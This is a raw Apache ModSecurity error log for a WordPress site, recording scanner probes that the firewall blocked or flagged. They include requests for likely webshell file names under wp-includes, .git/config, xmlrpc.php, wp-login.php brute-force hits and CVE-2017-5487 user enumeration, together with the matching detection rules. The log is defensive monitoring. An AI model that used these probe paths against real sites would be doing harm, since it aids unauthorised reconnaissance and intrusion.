[Fri Dec 19 21:10:01.747284 2025] [:error] [pid 20580:tid 20595] [client 4.194.48.125:13475] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.php"] [unique_id "aUVOqUmd1op_YdAdgR2lzgAAAEk"]
[Fri Dec 19 21:11:13.171599 2025] [:error] [pid 20582:tid 20646] [client 4.194.48.125:14229] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system.php"] [unique_id "aUVO8cpAnrkQKZ4b5gY9bAAAAMQ"]
[Fri Dec 19 21:12:05.767082 2025] [:error] [pid 20581:tid 20629] [client 4.194.48.125:17403] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mage.php"] [unique_id "aUVPJfxEv7WXNhnFD1mLiAAAAI4"]
[Fri Dec 19 21:13:39.051863 2025] [:error] [pid 20581:tid 20638] [client 4.194.48.125:17103] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/signin.php"] [unique_id "aUVPg_xEv7WXNhnFD1mMIQAAAJc"]
[Fri Dec 19 21:13:41.900846 2025] [:error] [pid 16026:tid 16031] [client 4.194.48.125:16085] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/signin.php"] [unique_id "aUVPhULVfhf4Jb3enmM-3AAAAUI"]
[Fri Dec 19 21:13:43.224663 2025] [:error] [pid 41451:tid 41460] [client 4.194.48.125:16122] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/signin.php"] [unique_id "aUVPhwYXFn-DbZghZBHi2gAAAAY"]
[Fri Dec 19 21:13:51.779210 2025] [:error] [pid 20581:tid 20615] [client 4.194.48.125:7382] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/signin.php"] [unique_id "aUVPj_xEv7WXNhnFD1mMLQAAAIA"]
[Fri Dec 19 21:13:57.216197 2025] [:error] [pid 20581:tid 20622] [client 4.194.48.125:7389] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/weblinks.php"] [unique_id "aUVPlfxEv7WXNhnFD1mMNgAAAIc"]
[Fri Dec 19 21:14:29.041228 2025] [:error] [pid 18438:tid 18445] [client 4.194.48.125:15039] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbv.php"] [unique_id "aUVPtZRArClWV1iij_SbfwAAAYQ"]
[Fri Dec 19 21:14:31.709208 2025] [:error] [pid 41451:tid 41457] [client 4.194.48.125:11954] [client 4.194.48.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbv.php"] [unique_id "aUVPtwYXFn-DbZghZBHjCAAAAAM"]
[Fri Dec 19 22:34:33.419892 2025] [:error] [pid 18438:tid 18458] [client 59.125.102.227:46836] [client 59.125.102.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.227, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUVieZRArClWV1iij_S72AAAAZE"]
[Fri Dec 19 22:56:51.588372 2025] [:error] [pid 20580:tid 20605] [client 43.135.135.57:59772] [client 43.135.135.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aUVns0md1op_YdAdgR3BpQAAAFM"]
[Sat Dec 20 01:16:40.089064 2025] [:error] [pid 39268:tid 39323] [client 46.105.230.99:63796] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.230.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUWIeOTCMRSRXPuXZF8K7AAAAQ0"]
[Sat Dec 20 02:34:08.013134 2025] [:error] [pid 35624:tid 35650] [client 85.14.178.45:59606] [client 85.14.178.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.14.178.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUWaoEJMTU3r4hb8qAlkmAAAAFY"]
[Sat Dec 20 03:04:26.178475 2025] [:error] [pid 35625:tid 35657] [client 182.42.110.255:39822] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUWhuo12VmSu4NX34PTv0QAAAII"]
[Sat Dec 20 03:49:59.592231 2025] [:error] [pid 22735:tid 22742] [client 66.135.14.223:56496] [client 66.135.14.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.135.14.223, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUWsZ7TIQgLaV3f45zdK8gAAAAM"]
[Sat Dec 20 04:42:41.341506 2025] [autoindex:error] [pid 39577:tid 39586] [client 185.249.225.220:50322] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Dec 20 05:07:03.807256 2025] [:error] [pid 14247:tid 14256] [client 5.250.188.77:33032] [client 5.250.188.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.250.188.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUW-dyDv9TtKKdJQn9k5mQAAAQc"]
[Sat Dec 20 05:54:55.293935 2025] [:error] [pid 39577:tid 39580] [client 146.75.209.4:18874] [client 146.75.209.4] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.70.38_2d969d8071b542d61d3e68d48bb83cae7a49d5cb"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/elementor/google-fonts/fonts/poppins-pxibyp8kv8jhgfvrldz8z1xlfq.woff2"] [unique_id "aUXJrbviRnt1rJiSOfx7ogAAAME"], referer: https://vetstars.com.au/
[Sat Dec 20 06:21:09.382670 2025] [:error] [pid 39577:tid 39587] [client 5.53.124.193:34032] [client 5.53.124.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.53.124.193, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUXP1bviRnt1rJiSOfyA_wAAAMg"]
[Sat Dec 20 07:37:29.730581 2025] [autoindex:error] [pid 14286:tid 14308] [client 45.86.202.75:27751] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:37:30.035001 2025] [autoindex:error] [pid 14286:tid 14298] [client 45.86.202.75:27751] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:37:30.330128 2025] [autoindex:error] [pid 14286:tid 14305] [client 45.86.202.75:27751] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:37:30.639996 2025] [autoindex:error] [pid 14286:tid 14291] [client 45.86.202.75:27751] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 07:38:08.160688 2025] [:error] [pid 39493:tid 39554] [client 144.6.171.46:47996] [client 144.6.171.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.6.171.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUXh4GhjL2VG_FmIHqAgxwAAAIU"]
[Sat Dec 20 08:54:50.434080 2025] [:error] [pid 18807:tid 18825] [client 59.125.102.227:56170] [client 59.125.102.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 59.125.102.227, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUXz2mRP9n5OCTllYeVCywAAAZA"]
[Sat Dec 20 10:09:14.452225 2025] [:error] [pid 18807:tid 18819] [client 54.38.241.153:45536] [client 54.38.241.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.241.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUYFSmRP9n5OCTllYeVZTAAAAYo"]
[Sat Dec 20 10:43:16.897503 2025] [:error] [pid 14247:tid 14252] [client 103.125.146.22:53507] [client 103.125.146.22] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUYNRCDv9TtKKdJQn9mjoQAAAQM"]
[Sat Dec 20 11:23:04.764135 2025] [:error] [pid 39577:tid 39599] [client 107.175.40.41:42194] [client 107.175.40.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.175.40.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUYWmLviRnt1rJiSOfzovAAAANQ"]
[Sat Dec 20 12:36:07.297639 2025] [:error] [pid 39491:tid 39515] [client 82.223.101.71:59508] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.101.71, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUYnt1tw2ggYvDxu2EAoqgAAABQ"]
[Sat Dec 20 13:20:31.063629 2025] [:error] [pid 39493:tid 39552] [client 40.77.167.48:5118] [client 40.77.167.48] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/@\\x01!*%g-\\x15.aspx"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/@\\x01!*%g-\\x15.aspx"] [unique_id "aUYyH2hjL2VG_FmIHqCRuwAAAIM"]
[Sat Dec 20 13:47:01.301969 2025] [:error] [pid 39577:tid 39599] [client 159.203.120.5:41640] [client 159.203.120.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.120.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUY4VbviRnt1rJiSOfwGPAAAANQ"]
[Sat Dec 20 15:13:36.875990 2025] [:error] [pid 39493:tid 39573] [client 87.106.183.65:40772] [client 87.106.183.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.106.183.65, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUZMoGhjL2VG_FmIHqCqKwAAAJg"]
[Sat Dec 20 16:10:19.371818 2025] [:error] [pid 14286:tid 14295] [client 92.205.184.217:41400] [client 92.205.184.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.184.217, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUZZ657rbXIrw6rGSdY5DgAAAUU"]
[Sat Dec 20 16:11:24.754780 2025] [:error] [pid 39493:tid 39573] [client 134.209.251.226:48498] [client 134.209.251.226] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aUZaLGhjL2VG_FmIHqC2UwAAAJg"]
[Sat Dec 20 17:17:50.344249 2025] [:error] [pid 39492:tid 39534] [client 143.198.213.205:51971] [client 143.198.213.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.213.205, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUZpvos_ZYP1UQNM9hYsDAAAAEw"]
[Sat Dec 20 17:17:53.887605 2025] [:error] [pid 39492:tid 39537] [client 143.198.213.205:51971] [client 143.198.213.205] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUZpwYs_ZYP1UQNM9hYsDgAAAE8"]
[Sat Dec 20 17:17:57.288291 2025] [:error] [pid 39492:tid 39525] [client 143.198.213.205:51971] [client 143.198.213.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.213.205, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUZpxYs_ZYP1UQNM9hYsEgAAAEM"]
[Sat Dec 20 17:31:55.871454 2025] [:error] [pid 14286:tid 14298] [client 134.209.251.226:39042] [client 134.209.251.226] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aUZtC57rbXIrw6rGSdZGbwAAAUg"]
[Sat Dec 20 18:32:31.602058 2025] [:error] [pid 18807:tid 18833] [client 107.180.249.30:41464] [client 107.180.249.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.180.249.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUZ7P2RP9n5OCTllYeXwzgAAAZg"]
[Sat Dec 20 19:46:40.399880 2025] [:error] [pid 14247:tid 14269] [client 185.209.228.46:45056] [client 185.209.228.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.209.228.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUaMoCDv9TtKKdJQn9kApwAAARQ"]
[Sat Dec 20 21:05:02.596736 2025] [:error] [pid 33570:tid 33589] [client 209.136.158.254:34712] [client 209.136.158.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.136.158.254, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUae_oTNveA-c6YcSrIESwAAAc0"]
[Sat Dec 20 21:41:39.393634 2025] [:error] [pid 14247:tid 14258] [client 85.203.34.31:54635] [client 85.203.34.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aUankyDv9TtKKdJQn9kRawAAAQk"]
[Sat Dec 20 21:41:46.448667 2025] [:error] [pid 39493:tid 39569] [client 85.203.34.6:42831] [client 85.203.34.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aUanmmhjL2VG_FmIHqD47wAAAJQ"]
[Sat Dec 20 21:42:01.988758 2025] [:error] [pid 33570:tid 33597] [client 85.203.34.50:55759] [client 85.203.34.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aUanqYTNveA-c6YcSrILQAAAAdU"]
[Sat Dec 20 21:42:09.728102 2025] [:error] [pid 33749:tid 33755] [client 85.203.34.7:54289] [client 85.203.34.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aUansdoInXJnb96wei9Y0AAAAoQ"]
[Sat Dec 20 21:42:10.336465 2025] [:error] [pid 39493:tid 39561] [client 85.203.34.41:57291] [client 85.203.34.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aUansmhjL2VG_FmIHqD5dQAAAIw"]
[Sat Dec 20 21:42:11.957017 2025] [:error] [pid 33687:tid 33714] [client 85.203.34.31:40399] [client 85.203.34.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aUanszYMR4qK1N4g7vjL9gAAAlg"]
[Sat Dec 20 21:42:15.762405 2025] [:error] [pid 33749:tid 33756] [client 85.203.34.31:54231] [client 85.203.34.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aUant9oInXJnb96wei9Y-wAAAoU"]
[Sat Dec 20 21:42:19.365712 2025] [:error] [pid 33749:tid 33769] [client 85.203.34.35:32223] [client 85.203.34.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aUanu9oInXJnb96wei9ZLAAAApI"]
[Sat Dec 20 21:42:35.328652 2025] [:error] [pid 62124:tid 62134] [client 85.203.34.35:25029] [client 85.203.34.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aUany1s94zPA9ULQOjl8wgAAAAg"]
[Sat Dec 20 21:42:35.910657 2025] [:error] [pid 14247:tid 14259] [client 85.203.34.14:31145] [client 85.203.34.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aUanyyDv9TtKKdJQn9kS7QAAAQo"]
[Sat Dec 20 21:44:23.379148 2025] [:error] [pid 33844:tid 33848] [client 85.203.34.28:57349] [client 85.203.34.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUaoNyaNtwGsyqqVmQH5YgAAAwI"]
[Sat Dec 20 21:45:40.079779 2025] [autoindex:error] [pid 62124:tid 62129] [client 85.203.34.38:41823] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:45:48.996978 2025] [:error] [pid 62124:tid 62131] [client 85.203.34.38:41823] [client 85.203.34.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/tflow/"] [unique_id "aUaojFs94zPA9ULQOjmEvAAAAAU"]
